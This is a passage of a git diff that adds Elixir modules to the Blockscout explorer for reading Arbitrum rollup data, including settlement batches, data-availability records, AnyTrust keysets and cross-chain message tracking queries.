^paging_options.page_size + ) + + select_repo(@api_true).all(query) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/api/settlement.ex b/apps/explorer/lib/explorer/chain/arbitrum/reader/api/settlement.ex new file mode 100644 index 000000000000..be77593cfc2b --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/api/settlement.ex @@ -0,0 +1,536 @@ +defmodule Explorer.Chain.Arbitrum.Reader.API.Settlement do + @moduledoc """ + Provides API-specific functions for querying Arbitrum settlement data from the database. + + This module contains functions specifically designed for Blockscout's API endpoints + that handle Arbitrum settlement functionality. All functions in this module enforce + the use of replica databases for read operations by automatically passing the + `api?: true` option to database queries. + + The module includes functions for retrieving: + - L1 batches and their associated transactions + - Data Availability (DA) records and blobs + - Batch-related block information + - Block confirmations on the parent chain + - AnyTrust keysets + + Note: If any function from this module needs to be used outside of API handlers, + it should be moved to `Explorer.Chain.Arbitrum.Reader.Common` with configurable + database selection, and a wrapper function should be created in this module + (see `highest_confirmed_block/0` as an example). + """ + + import Ecto.Query, only: [from: 2, limit: 2, order_by: 2, where: 2, where: 3] + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Chain.Arbitrum.{ + BatchBlock, + BatchToDaBlob, + BatchTransaction, + DaMultiPurposeRecord, + L1Batch + } + + alias Explorer.Chain.Arbitrum.Reader.Common + alias Explorer.Chain.Block, as: FullBlock + alias Explorer.Chain.Cache.BackgroundMigrations, as: MigrationStatuses + alias Explorer.{Chain, PagingOptions} + + @api_true [api?: true] + + @doc """ + Retrieves the total count of rollup batches indexed up to the current moment. + + This function uses an estimated count from system catalogs if available. + If the estimate is unavailable, it performs an exact count using an aggregate query. + + ## Returns + - The count of indexed batches. + """ + @spec batches_count() :: non_neg_integer() + def batches_count do + Chain.get_table_rows_total_count(L1Batch, @api_true) + end + + @doc """ + Fetches the most recent batch in the database. + + ## Parameters + - `number`: must be always `:latest` + + ## Returns + - `{:ok, Explorer.Chain.Arbitrum.L1Batch}` if the batch is found. + - `{:error, :not_found}` if no batch exists. + """ + @spec batch(:latest) :: {:error, :not_found} | {:ok, L1Batch.t()} + def batch(:latest) do + L1Batch + |> order_by(desc: :number) + |> limit(1) + |> select_repo(@api_true).one() + |> case do + nil -> {:error, :not_found} + batch -> {:ok, batch} + end + end + + @doc """ + Retrieves a specific batch by its number. + + ## Parameters + - `number`: The specific batch number. + - `options`: A keyword list which may contain `necessity_by_association` specifying + the necessity for joining associations + + ## Returns + - `{:ok, Explorer.Chain.Arbitrum.L1Batch}` if the batch is found. + - `{:error, :not_found}` if no batch with the specified number exists. + """ + @spec batch(binary() | non_neg_integer(), necessity_by_association: %{atom() => :optional | :required}) :: + {:error, :not_found} | {:ok, L1Batch.t()} + def batch(number, options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + + L1Batch + |> where(number: ^number) + |> Chain.join_associations(necessity_by_association) + |> select_repo(@api_true).one() + |> case do + nil -> {:error, :not_found} + batch -> {:ok, batch} + end + end + + @doc """ + Retrieves a list of batches from the database. + + This function constructs and executes a query to retrieve batches based on provided + options. These options dictate not only the number of items to retrieve but also + how many items to skip from the top. If the `committed?` option is set to true, + it returns the ten most recent committed batches; otherwise, it fetches batches as + dictated by other pagination parameters. + + If `batch_numbers` option is provided and not empty, the function returns only + batches with the specified numbers, while still applying pagination. + + ## Parameters + - `options`: A keyword list of options: + * `necessity_by_association` - Specifies the necessity for joining associations + * `committed?` - When true, returns only committed batches + * `paging_options` - Specifies pagination details + * `batch_numbers` - Optional list of specific batch numbers to retrieve + + ## Returns + - A list of `Explorer.Chain.Arbitrum.L1Batch` entries, filtered and ordered according to the provided options. + """ + @spec batches( + necessity_by_association: %{atom() => :optional | :required}, + committed?: boolean(), + paging_options: PagingOptions.t(), + batch_numbers: [non_neg_integer()] | nil + ) :: [L1Batch.t()] + def batches(options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + batch_numbers = Keyword.get(options, :batch_numbers) + + base_query = + if is_list(batch_numbers) and batch_numbers != [] do + from(batch in L1Batch, + where: batch.number in ^batch_numbers, + order_by: [desc: batch.number] + ) + else + from(batch in L1Batch, + order_by: [desc: batch.number] + ) + end + + query = + if Keyword.get(options, :committed?, false) do + base_query + |> Chain.join_associations(necessity_by_association) + |> where([batch], not is_nil(batch.commitment_id) and batch.commitment_id > 0) + |> limit(10) + else + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + base_query + |> Chain.join_associations(necessity_by_association) + |> page_batches(paging_options) + |> limit(^paging_options.page_size) + end + + select_repo(@api_true).all(query) + end + + defp page_batches(query, %PagingOptions{key: nil}), do: query + + defp page_batches(query, %PagingOptions{key: {number}}) do + from(batch in query, where: batch.number < ^number) + end + + @doc """ + Retrieves a list of rollup transactions included in a specific batch. + + ## Parameters + - `batch_number`: The batch number whose transactions are included in L1. + - `options`: A keyword list that is not used in this function. + + ## Returns + - A list of `Explorer.Chain.Arbitrum.BatchTransaction` entries belonging to the specified batch. + """ + @spec batch_transactions(non_neg_integer() | binary(), any()) :: [BatchTransaction.t()] + def batch_transactions(batch_number, _options) do + query = from(transaction in BatchTransaction, where: transaction.batch_number == ^batch_number) + + select_repo(@api_true).all(query) + end + + @doc """ + Retrieves a list of rollup blocks included in a specific batch. + + This function constructs and executes a database query to retrieve a list of rollup blocks, + considering pagination options specified in the `options` parameter. These options dictate + the number of items to retrieve and how many items to skip from the top. + + ## Parameters + - `batch_number`: The batch number whose transactions are included on L1. + - `options`: A keyword list of options specifying pagination and association necessity. + + ## Returns + - A list of `Explorer.Chain.Block` entries belonging to the specified batch. + """ + @spec batch_blocks(non_neg_integer() | binary(), + necessity_by_association: %{atom() => :optional | :required}, + paging_options: PagingOptions.t() + ) :: [FullBlock.t()] + def batch_blocks(batch_number, options) do + necessity_by_association = Keyword.get(options, :necessity_by_association, %{}) + paging_options = Keyword.get(options, :paging_options, Chain.default_paging_options()) + + query = + from( + fb in FullBlock, + inner_join: rb in BatchBlock, + on: fb.number == rb.block_number, + select: fb, + where: fb.consensus == true and rb.batch_number == ^batch_number + ) + + query + |> FullBlock.block_type_filter("Block") + |> page_blocks(paging_options) + |> limit(^paging_options.page_size) + |> order_by(desc: :number) + |> Chain.join_associations(necessity_by_association) + |> select_repo(@api_true).all() + end + + defp page_blocks(query, %PagingOptions{key: nil}), do: query + + defp page_blocks(query, %PagingOptions{key: {block_number}}) do + where(query, [block], block.number < ^block_number) + end + + @doc """ + Retrieves a Data Availability (DA) record from the database using the provided + data key. + + Although one data blob could correspond to multiple batches, the current + implementation returns only the first batch number that the data blob is associated + with. + + The function supports both old and new database schemas: + - In the old schema, batch numbers were stored directly in the arbitrum_da_multi_purpose table + - In the new schema, batch-to-blob associations are stored in the arbitrum_batches_to_da_blobs table + + ## Parameters + - `data_key`: The key of the data to be retrieved. + + ## Returns + - `{:ok, {batch_number, da_info}}`, where + - `batch_number` is the number of the batch associated with the DA record + - `da_info` is a map containing the DA record. + - `{:error, :not_found}` if no record with the specified `data_key` exists. + """ + @spec get_da_record_by_data_key(binary()) :: {:ok, {non_neg_integer(), map()}} | {:error, :not_found} + def get_da_record_by_data_key("0x" <> _ = data_key) do + data_key_bytes = data_key |> Chain.string_to_full_hash() |> Kernel.elem(1) |> Map.get(:bytes) + get_da_record_by_data_key(data_key_bytes) + end + + def get_da_record_by_data_key(data_key) do + case MigrationStatuses.get_arbitrum_da_records_normalization_finished() do + true -> + # Migration is complete, use new schema + get_da_record_by_data_key_new_schema(data_key) + + _ -> + # Migration in progress, try old schema first, then fallback to new + case get_da_record_by_data_key_old_schema(data_key) do + {:error, :not_found} -> get_da_record_by_data_key_new_schema(data_key) + result -> result + end + end + end + + # Builds a query to fetch DA records by data key. + # + # This function constructs an Ecto query to retrieve Data Availability blob + # description (type 0) that match a specific data key. + # + # ## Parameters + # - `data_key`: The key of the data to be retrieved. + # + # ## Returns + # - An Ecto query that can be executed to fetch matching DA records. + @spec build_da_records_by_data_key_query(binary()) :: Ecto.Query.t() + defp build_da_records_by_data_key_query(data_key) do + from( + da_records in DaMultiPurposeRecord, + where: da_records.data_key == ^data_key and da_records.data_type == 0 + ) + end + + # Gets DA record using the pre-migration database schema where batch numbers + # were stored directly in the arbitrum_da_multi_purpose table. + # + # ## Parameters + # - `data_key`: The key of the data to be retrieved. + # + # ## Returns + # - `{:ok, {batch_number, da_info}}` if the record is found + # - `{:error, :not_found}` if no record is found + @spec get_da_record_by_data_key_old_schema(binary()) :: {:ok, {non_neg_integer(), map()}} | {:error, :not_found} + defp get_da_record_by_data_key_old_schema(data_key) do + query = build_da_records_by_data_key_query(data_key) + + case select_repo(@api_true).one(query) do + nil -> {:error, :not_found} + keyset -> {:ok, {keyset.batch_number, keyset.data}} + end + end + + # Gets DA blob description using the post-migration database schema where DA blob + # descriptions and their associations with batches are stored in separate tables: + # + # - `arbitrum_da_multi_purpose` (`DaMultiPurposeRecord`): Stores the actual DA + # blob descriptions + # - `arbitrum_batches_to_da_blobs` (`BatchToDaBlob`): Maps batch numbers to DA + # blob IDs. + # + # ## Parameters + # - `data_key`: The key of the data to be retrieved. + # + # ## Returns + # - `{:ok, {batch_number, da_info}}` if the pair of batch number and DA blob description is found, where: + # * `batch_number` is the highest batch number associated with the DA blob description + # * `da_info` is the data from the DA blob description + # - `{:error, :not_found}` if no record is found + @spec get_da_record_by_data_key_new_schema(binary()) :: {:ok, {non_neg_integer(), map()}} | {:error, :not_found} + defp get_da_record_by_data_key_new_schema(data_key) do + repo = select_repo(@api_true) + + with da_record when not is_nil(da_record) <- repo.one(build_da_records_by_data_key_query(data_key)), + batch_number when not is_nil(batch_number) <- + data_key + |> build_batch_numbers_by_data_key_query() + |> limit(1) + |> repo.one() do + {:ok, {batch_number, da_record.data}} + else + nil -> {:error, :not_found} + end + end + + @doc """ + Retrieves Data Availability (DA) information from the database using the provided + batch number. + + The function handles both pre- and post-migration database schemas: + - In the pre-migration schema, DA records were stored directly in the + arbitrum_da_multi_purpose table with a batch_number field. + - In the post-migration schema, a separate arbitrum_batches_to_da_blobs table + enables many-to-many relationships between batches and DA blobs. + + ## Parameters + - `batch_number`: The batch number to be used for retrieval. + + ## Returns + - A map containing the DA information if found, otherwise an empty map. + """ + @spec get_da_info_by_batch_number(non_neg_integer()) :: map() + def get_da_info_by_batch_number(batch_number) do + # The migration normalizes how Data Availability (DA) records are stored in the database. + # Before the migration, the association between batches and DA blobs was stored directly + # in the arbitrum_da_multi_purpose table using a batch_number field. This approach had + # limitations when the same DA blob was used for different batches in AnyTrust chains. + # + # After the migration, the associations are stored in a separate arbitrum_batches_to_da_blobs + # table, allowing many-to-many relationships between batches and DA blobs. This change + # ensures proper handling of cases where multiple batches share the same DA blob. + case MigrationStatuses.get_arbitrum_da_records_normalization_finished() do + true -> + # Migration is complete, use new schema + get_da_info_by_batch_number_new_schema(batch_number) + + _ -> + # Migration in progress, try old schema first, then fallback to new + case get_da_info_by_batch_number_old_schema(batch_number) do + %{} = empty when map_size(empty) == 0 -> + get_da_info_by_batch_number_new_schema(batch_number) + + result -> + result + end + end + end + + # Retrieves DA info using the pre-migration database schema where DA records were stored + # directly in the arbitrum_da_multi_purpose table with a batch_number field. + # + # ## Parameters + # - `batch_number`: The batch number to lookup in the arbitrum_da_multi_purpose table + # - `options`: A keyword list of options: + # - `:api?` - Whether the function is being called from an API context. + # + # ## Returns + # - A map containing the DA info if found, otherwise an empty map + @spec get_da_info_by_batch_number_old_schema(non_neg_integer()) :: map() + defp get_da_info_by_batch_number_old_schema(batch_number) do + query = + from( + da_records in DaMultiPurposeRecord, + where: da_records.batch_number == ^batch_number and da_records.data_type == 0 + ) + + case select_repo(@api_true).one(query) do + nil -> %{} + record -> record.data + end + end + + # Gets DA info using the post-migration database schema where DA records and their + # associations with batches are stored in separate tables: + # + # - `arbitrum_da_multi_purpose` (`DaMultiPurposeRecord`): Stores the actual DA + # records with their data and type + # - `arbitrum_batches_to_da_blobs` (`BatchToDaBlob`): Maps batch numbers to DA + # blob IDs. + # + # ## Parameters + # - `batch_number`: The batch number to lookup in the arbitrum_batches_to_da_blobs table + # + # ## Returns + # - A map containing the DA info if found, otherwise an empty map + @spec get_da_info_by_batch_number_new_schema(non_neg_integer()) :: map() + defp get_da_info_by_batch_number_new_schema(batch_number) do + query = + from( + link in BatchToDaBlob, + join: da_record in DaMultiPurposeRecord, + on: link.data_blob_id == da_record.data_key, + where: link.batch_number == ^batch_number and da_record.data_type == 0, + select: da_record.data + ) + + case select_repo(@api_true).one(query) do + nil -> %{} + data -> data + end + end + + @doc """ + Retrieves the number of the highest confirmed rollup block. + + It calls `Common.highest_confirmed_block/1` with `@api_true` option to use + replica database. + + ## Returns + - The number of the highest confirmed rollup block, or `nil` if no confirmed rollup blocks are found. + """ + @spec highest_confirmed_block() :: FullBlock.block_number() | nil + def highest_confirmed_block do + Common.highest_confirmed_block(@api_true) + end + + @doc """ + Retrieves an AnyTrust keyset from the database using the provided keyset hash. + + It calls `Common.get_anytrust_keyset/1` with `api?: true` option to use + replica database. + + ## Parameters + - `keyset_hash`: A binary representing the hash of the keyset to be retrieved. + + ## Returns + - A map containing information about the AnyTrust keyset, otherwise an empty map. + """ + @spec get_anytrust_keyset(binary()) :: map() + def get_anytrust_keyset(keyset_hash) do + Common.get_anytrust_keyset(keyset_hash, api?: true) + end + + @doc """ + Retrieves all batch numbers associated with a Data Availability (DA) blob hash + and the corresponding DA blob description. + + The function handles both pre- and post-migration database schemas: + - In the pre-migration schema, only one batch can be associated with a DA blob, + so the function returns a single-element list with that batch number. + - In the post-migration schema, multiple batches can share the same DA blob, + so the function returns all associated batch numbers. + + ## Parameters + - `data_key`: The hash of the DA blob to find associated batch numbers for. + + ## Returns + - `{:ok, {batch_numbers, da_info}}` if the record is found, where: + * `batch_numbers` is a list of batch numbers associated with the DA blob, + sorted from highest to lowest + * `da_info` is the data from the DA blob description + - `{:error, :not_found}` if no record is found + """ + @spec get_all_da_records_by_data_key(binary()) :: {:ok, {[non_neg_integer()], map()}} | {:error, :not_found} + def get_all_da_records_by_data_key(data_key) do + case MigrationStatuses.get_arbitrum_da_records_normalization_finished() do + true -> + repo = select_repo(@api_true) + + with da_record when not is_nil(da_record) <- repo.one(build_da_records_by_data_key_query(data_key)), + batch_numbers when batch_numbers != [] <- repo.all(build_batch_numbers_by_data_key_query(data_key)) do + {:ok, {batch_numbers, da_record.data}} + else + _ -> {:error, :not_found} + end + + _ -> + # During migration, fall back to getting a single batch + case get_da_record_by_data_key(data_key) do + {:ok, {batch_number, da_info}} -> {:ok, {[batch_number], da_info}} + {:error, :not_found} = error -> error + end + end + end + + # Builds a query to fetch batch numbers associated with a DA blob hash. + # + # This function constructs an Ecto query to retrieve batch numbers from the + # arbitrum_batches_to_da_blobs table that match a specific data blob ID (hash). + # The batch numbers are sorted in descending order. + # + # ## Parameters + # - `data_key`: The hash of the data blob to find associated batch numbers for. + # + # ## Returns + # - An Ecto query that can be executed to fetch matching batch numbers. + @spec build_batch_numbers_by_data_key_query(binary()) :: Ecto.Query.t() + defp build_batch_numbers_by_data_key_query(data_key) do + from( + link in BatchToDaBlob, + where: link.data_blob_id == ^data_key, + select: link.batch_number, + order_by: [desc: link.batch_number] + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/common.ex b/apps/explorer/lib/explorer/chain/arbitrum/reader/common.ex new file mode 100644 index 000000000000..cf390a1da8e5 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/common.ex @@ -0,0 +1,137 @@ +defmodule Explorer.Chain.Arbitrum.Reader.Common do + @moduledoc """ + Provides common database query functions for Arbitrum-specific data that are shared + between different Blockscout components. + + This module serves as a central location for core query functionality that needs to + be accessed from different logical parts of the application, such as: + + * Web API handlers (e.g. `Explorer.Chain.Arbitrum.Reader.API.Settlement`) + * Chain indexer components (e.g. `Explorer.Chain.Arbitrum.Reader.Indexer.Settlement`) + * Other potential consumers + + The functions in this module are designed to be configurable in terms of database + selection (primary vs replica) through options parameters. This allows the calling + modules to maintain their specific database access patterns while sharing the core + query logic. + + For example, API handlers typically use replica databases to reduce load on the + primary database, while indexer components require immediate consistency and thus + use the primary database. This module accommodates both use cases through options + parameters. + + When adding new functions to this module, ensure they: + * Are needed by multiple components of the application + * Accept options for configuring database selection + * Implement core query logic that can be reused across different contexts + """ + + import Ecto.Query, only: [from: 2] + import Explorer.Chain, only: [select_repo: 1, string_to_full_hash: 1] + + alias Explorer.Chain.Arbitrum.{ + BatchBlock, + DaMultiPurposeRecord, + L1Batch + } + + alias Explorer.Chain.Block, as: FullBlock + + alias Explorer.Prometheus.Instrumenter + + @doc """ + Retrieves the number of the highest confirmed rollup block. + + ## Parameters + - `options`: A keyword list of options: + - `:api?` - Whether the function is being called from an API context. + + ## Returns + - The number of the highest confirmed rollup block, or `nil` if no confirmed rollup blocks are found. + """ + @spec highest_confirmed_block(api?: boolean()) :: FullBlock.block_number() | nil + def highest_confirmed_block(options) do + query = + from( + rb in BatchBlock, + where: not is_nil(rb.confirmation_id), + select: rb.block_number, + order_by: [desc: rb.block_number], + limit: 1 + ) + + select_repo(options).one(query) + end + + @doc """ + Retrieves an AnyTrust keyset from the database using the provided keyset hash. + + ## Parameters + - `keyset_hash`: A binary representing the hash of the keyset to be retrieved. + - `options`: A keyword list of options: + - `:api?` - Whether the function is being called from an API context. + + ## Returns + - A map containing information about the AnyTrust keyset, otherwise an empty map. + """ + @spec get_anytrust_keyset(binary(), api?: boolean()) :: map() + def get_anytrust_keyset("0x" <> <<_::binary-size(64)>> = keyset_hash, options) do + get_anytrust_keyset(keyset_hash |> string_to_full_hash() |> Kernel.elem(1) |> Map.get(:bytes), options) + end + + def get_anytrust_keyset(keyset_hash, options) do + query = + from( + da_records in DaMultiPurposeRecord, + where: da_records.data_key == ^keyset_hash and da_records.data_type == 1 + ) + + case select_repo(options).one(query) do + nil -> %{} + keyset -> keyset.data + end + end + + @doc """ + Retrieves information about the latest batches including: + - The latest batch number + - The timestamp when the latest batch was committed to the parent chain + - The average time between parent chain transactions for the latest 10 batches + + ## Parameters + - `options`: A keyword list of options: + - `:api?` - Whether the function is being called from an API context. + + ## Returns + - `{:ok, %{latest_batch_number: number, latest_batch_timestamp: timestamp, average_batch_time: seconds}}` + if batches are found + - `{:error, :not_found}` if no batches are found + """ + @spec get_latest_batch_info(api?: boolean()) :: + {:ok, + %{ + latest_batch_number: non_neg_integer(), + latest_batch_timestamp: DateTime.t(), + average_batch_time: non_neg_integer() + }} + | {:error, :not_found} + def get_latest_batch_info(options) do + import Ecto.Query + + # Query to get the latest 10 batches with their commitment transactions + latest_batches_query = + from(batch in L1Batch, + join: tx in assoc(batch, :commitment_transaction), + order_by: [desc: batch.number], + limit: 10, + select: %{ + number: batch.number, + timestamp: tx.timestamp + } + ) + + items = select_repo(options).all(latest_batches_query) + + Instrumenter.prepare_batch_metric(items) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/general.ex b/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/general.ex new file mode 100644 index 000000000000..f50fcd8247e3 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/general.ex @@ -0,0 +1,72 @@ +defmodule Explorer.Chain.Arbitrum.Reader.Indexer.General do + @moduledoc """ + Provides general-purpose blockchain data reading functionality that is currently + not available in other chain-agnostic modules under `Explorer.Chain.*`. + + While these functions are located in the Arbitrum namespace, they are + implementation-agnostic and contain no Arbitrum-specific logic. They are + candidates for relocation to a general blockchain reader module when similar + functionality is needed for other chains. + """ + + import Ecto.Query, only: [from: 2] + + alias Explorer.{Chain, Repo} + + alias Explorer.Chain.Block, as: FullBlock + + @doc """ + Retrieves full details of rollup blocks, including associated transactions, for each + block number specified in the input list. + + ## Parameters + - `list_of_block_numbers`: A list of block numbers for which full block details are to be retrieved. + + ## Returns + - A list of `Explorer.Chain.Block` instances containing detailed information for each + block number in the input list. Returns an empty list if no blocks are found for the given numbers. + """ + @spec rollup_blocks([FullBlock.block_number()]) :: [FullBlock.t()] + def rollup_blocks(list_of_block_numbers) + + def rollup_blocks([]), do: [] + + def rollup_blocks(list_of_block_numbers) do + query = + from( + block in FullBlock, + where: block.number in ^list_of_block_numbers + ) + + query + # :optional is used since a block may not have any transactions + |> Chain.join_associations(%{:transactions => :optional}) + |> Repo.all() + end + + @doc """ + Retrieves block numbers within a range that are missing Arbitrum-specific fields. + + Identifies rollup blocks that lack one or more of the following fields: + `send_count`, `send_root`, or `l1_block_number`. + + ## Parameters + - `start_block_number`: The lower bound of the block range to check. + - `end_block_number`: The upper bound of the block range to check. + + ## Returns + - A list of block numbers that are missing one or more required fields. + """ + @spec blocks_with_missing_fields(FullBlock.block_number(), FullBlock.block_number()) :: [FullBlock.block_number()] + def blocks_with_missing_fields(start_block_number, end_block_number) do + query = + from(block in FullBlock, + where: + block.number >= ^start_block_number and block.number <= ^end_block_number and block.consensus == true and + (is_nil(block.send_count) or is_nil(block.send_root) or is_nil(block.l1_block_number)), + select: block.number + ) + + Repo.all(query) + end +end diff --git a/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/messages.ex b/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/messages.ex new file mode 100644 index 000000000000..be2edad3ccf0 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/arbitrum/reader/indexer/messages.ex @@ -0,0 +1,373 @@ +defmodule Explorer.Chain.Arbitrum.Reader.Indexer.Messages do + @moduledoc """ + Provides functions for querying and managing Arbitrum cross-chain messages in the Blockscout indexer. + + This module handles the retrieval and tracking of messages between a parent + chain and Orbit (built with Arbitrum technology) chains, including: + - L1-to-L2 message discovery and tracking + - L2-to-L1 message monitoring and status updates + - Detection of missed messages in both directions + - Tracking of L2-to-L1 message executions on L1 + """ + + import Ecto.Query, only: [dynamic: 2, from: 2, limit: 2, order_by: 2, select: 3, where: 3] + + alias Explorer.Chain.Arbitrum.{ + L1Execution, + LifecycleTransaction, + Message + } + + alias Explorer.Chain.Block, as: FullBlock + alias Explorer.Chain.{Hash, Log, Transaction} + alias Explorer.{Chain, Repo} + + # https://github.com/OffchainLabs/go-ethereum/blob/dff302de66598c36b964b971f72d35a95148e650/core/types/transaction.go#L44C2-L50 + @message_to_l2_eth_deposit 100 + @message_to_l2_submit_retryable_transaction 105 + @to_l2_messages_transaction_types [ + @message_to_l2_eth_deposit, + @message_to_l2_submit_retryable_transaction + ] + + @doc """ + Retrieves the number of the latest L1 block where an L1-to-L2 message was discovered. + + ## Returns + - The number of L1 block, or `nil` if no L1-to-L2 messages are found. + """ + @spec l1_block_of_latest_discovered_message_to_l2() :: FullBlock.block_number() | nil + def l1_block_of_latest_discovered_message_to_l2 do + query = + from(msg in Message, + select: msg.originating_transaction_block_number, + where: msg.direction == :to_l2 and not is_nil(msg.originating_transaction_block_number), + order_by: [desc: msg.message_id], + limit: 1 + ) + + query + |> Repo.one(timeout: :infinity) + end + + @doc """ + Retrieves the number of the earliest L1 block where an L1-to-L2 message was discovered. + + ## Returns + - The number of L1 block, or `nil` if no L1-to-L2 messages are found. + """ + @spec l1_block_of_earliest_discovered_message_to_l2() :: FullBlock.block_number() | nil + def l1_block_of_earliest_discovered_message_to_l2 do + query = + from(msg in Message, + select: msg.originating_transaction_block_number, + where: msg.direction == :to_l2 and not is_nil(msg.originating_transaction_block_number), + order_by: [asc: msg.message_id], + limit: 1 + ) + + query + |> Repo.one(timeout: :infinity) + end + + @doc """ + Retrieves the rollup block number of the first missed L2-to-L1 message. + + The function identifies missing messages by checking logs for the specified + L2-to-L1 event and verifying if there are corresponding entries in the messages + table. A message is considered missed if there is a log entry without a + matching message record. + + ## Parameters + - `arbsys_contract`: The address of the Arbitrum system contract. + - `l2_to_l1_event`: The event identifier for L2-to-L1 messages. + + ## Returns + - The block number of the first missed L2-to-L1 message, or `nil` if no missed + messages are found. + """ + @spec rollup_block_of_first_missed_message_from_l2(binary(), binary()) :: FullBlock.block_number() | nil + def rollup_block_of_first_missed_message_from_l2(arbsys_contract, l2_to_l1_event) do + # credo:disable-for-lines:5 Credo.Check.Refactor.PipeChainStart + missed_messages_from_l2_query(arbsys_contract, l2_to_l1_event) + |> order_by(desc: :block_number) + |> limit(1) + |> select([log], log.block_number) + |> Repo.one(timeout: :infinity) + end + + @doc """ + Retrieves the rollup block number of the first missed L1-to-L2 message. + + The function identifies missing messages by checking transactions of specific + types that are supposed to contain L1-to-L2 messages and verifying if there are + corresponding entries in the messages table. A message is considered missed if + there is a transaction without a matching message record. + + ## Returns + - The block number of the first missed L1-to-L2 message, or `nil` if no missed + messages are found. + """ + @spec rollup_block_of_first_missed_message_to_l2() :: FullBlock.block_number() | nil + def rollup_block_of_first_missed_message_to_l2 do + missed_messages_to_l2_query() + |> order_by(desc: :block_number) + |> limit(1) + |> select([rollup_transaction], rollup_transaction.block_number) + |> Repo.one(timeout: :infinity) + end + + @doc """ + Reads a list of transactions executing L2-to-L1 messages by their IDs. + + ## Parameters + - `message_ids`: A list of IDs to retrieve executing transactions for. + + ## Returns + - A list of `Explorer.Chain.Arbitrum.L1Execution` corresponding to the message IDs from + the input list. The output list may be smaller than the input list if some IDs do not + correspond to any existing transactions. + """ + @spec l1_executions(maybe_improper_list(non_neg_integer(), [])) :: [L1Execution.t()] + def l1_executions(message_ids) when is_list(message_ids) do + query = + from( + ex in L1Execution, + where: ex.message_id in ^message_ids + ) + + query + # :required is used since execution records in the table are created only when + # the corresponding execution transaction is indexed + |> Chain.join_associations(%{:execution_transaction => :required}) + |> Repo.all() + end + + @doc """ + Retrieves the number of the latest L1 block where a transaction executing an L2-to-L1 message was discovered. + + ## Returns + - The number of the latest L1 block with an executing transaction for an L2-to-L1 message, or `nil` if no such transactions are found. + """ + @spec l1_block_of_latest_execution() :: FullBlock.block_number() | nil + def l1_block_of_latest_execution do + query = + from( + transaction in LifecycleTransaction, + inner_join: ex in L1Execution, + on: transaction.id == ex.execution_id, + select: transaction.block_number, + order_by: [desc: transaction.block_number], + limit: 1 + ) + + query + |> Repo.one(timeout: :infinity) + end + + @doc """ + Retrieves the number of the earliest L1 block where a transaction executing an L2-to-L1 message was discovered. + + ## Returns + - The number of the earliest L1 block with an executing transaction for an L2-to-L1 message, or `nil` if no such transactions are found. + """ + @spec l1_block_of_earliest_execution() :: FullBlock.block_number() | nil + def l1_block_of_earliest_execution do + query = + from( + transaction in LifecycleTransaction, + inner_join: ex in L1Execution, + on: transaction.id == ex.execution_id, + select: transaction.block_number, + order_by: [asc: transaction.block_number], + limit: 1 + ) + + query + |> Repo.one(timeout: :infinity) + end + + @doc """ + Retrieves all L2-to-L1 messages with the specified status. + + If `block_number` is not `nil`, only messages originating in rollup blocks with + numbers not higher than the specified block are considered. Otherwise, all + messages are considered. + + ## Parameters + - `status`: The status of the messages to retrieve, such as `:initiated`, + `:sent`, `:confirmed`, or `:relayed`. + - `block_number`: The number of a rollup block that limits the messages lookup, + or `nil`. + + ## Returns + - Instances of `Explorer.Chain.Arbitrum.Message` corresponding to the criteria, + or `[]` if no messages with the given status are found. + """ + @spec l2_to_l1_messages(:confirmed | :initiated | :relayed | :sent, FullBlock.block_number() | nil) :: [ + Message.t() + ] + def l2_to_l1_messages(status, block_number) + when status in [:initiated, :sent, :confirmed, :relayed] and + is_integer(block_number) and + block_number >= 0 do + query = + from(msg in Message, + where: + msg.direction == :from_l2 and msg.originating_transaction_block_number <= ^block_number and + msg.status == ^status, + order_by: [desc: msg.message_id] + ) + + Repo.all(query) + end + + def l2_to_l1_messages(status, nil) when status in [:initiated, :sent, :confirmed, :relayed] do + query = + from(msg in Message, + where: msg.direction == :from_l2 and msg.status == ^status, + order_by: [desc: msg.message_id] + ) + + Repo.all(query) + end + + @doc """ + Retrieves the transaction hashes for missed L1-to-L2 messages within a specified + block range. + + The function identifies missed messages by checking transactions of specific + types that are supposed to contain L1-to-L2 messages and verifying if there are + corresponding entries in the messages table. A message is considered missed if + there is a transaction without a matching message record within the specified + block range. + + ## Parameters + - `start_block`: The starting block number of the range. + - `end_block`: The ending block number of the range. + + ## Returns + - A list of transaction hashes for missed L1-to-L2 messages. + """ + @spec transactions_for_missed_messages_to_l2(non_neg_integer(), non_neg_integer()) :: [Hash.t()] + def transactions_for_missed_messages_to_l2(start_block, end_block) do + missed_messages_to_l2_query() + |> where( + [rollup_transaction], + rollup_transaction.block_number >= ^start_block and rollup_transaction.block_number <= ^end_block + ) + |> order_by(desc: :block_timestamp) + |> select([rollup_transaction], rollup_transaction.hash) + |> Repo.all() + end + + # Constructs a query to retrieve missed L1-to-L2 messages. + # + # The function constructs a query to identify missing messages by checking + # transactions of specific types that are supposed to contain L1-to-L2 + # messages and verifying if there are corresponding entries in the messages + # table. A message is considered missed if there is a transaction without a + # matching message record. + # + # ## Returns + # - A query to retrieve missed L1-to-L2 messages. + @spec missed_messages_to_l2_query() :: Ecto.Query.t() + defp missed_messages_to_l2_query do + from(rollup_transaction in Transaction, + left_join: msg in Message, + on: rollup_transaction.hash == msg.completion_transaction_hash and msg.direction == :to_l2, + where: rollup_transaction.type in @to_l2_messages_transaction_types and is_nil(msg.completion_transaction_hash) + ) + end + + @doc """ + Retrieves the logs for missed L2-to-L1 messages within a specified block range. + + The function identifies missed messages by checking logs for the specified + L2-to-L1 event and verifying if there are corresponding entries in the messages + table. A message is considered missed if there is a log entry without a + matching message record within the specified block range. + + ## Parameters + - `start_block`: The starting block number of the range. + - `end_block`: The ending block number of the range. + - `arbsys_contract`: The address of the Arbitrum system contract. + - `l2_to_l1_event`: The event identifier for L2-to-L1 messages. + + ## Returns + - A list of logs for missed L2-to-L1 messages. + 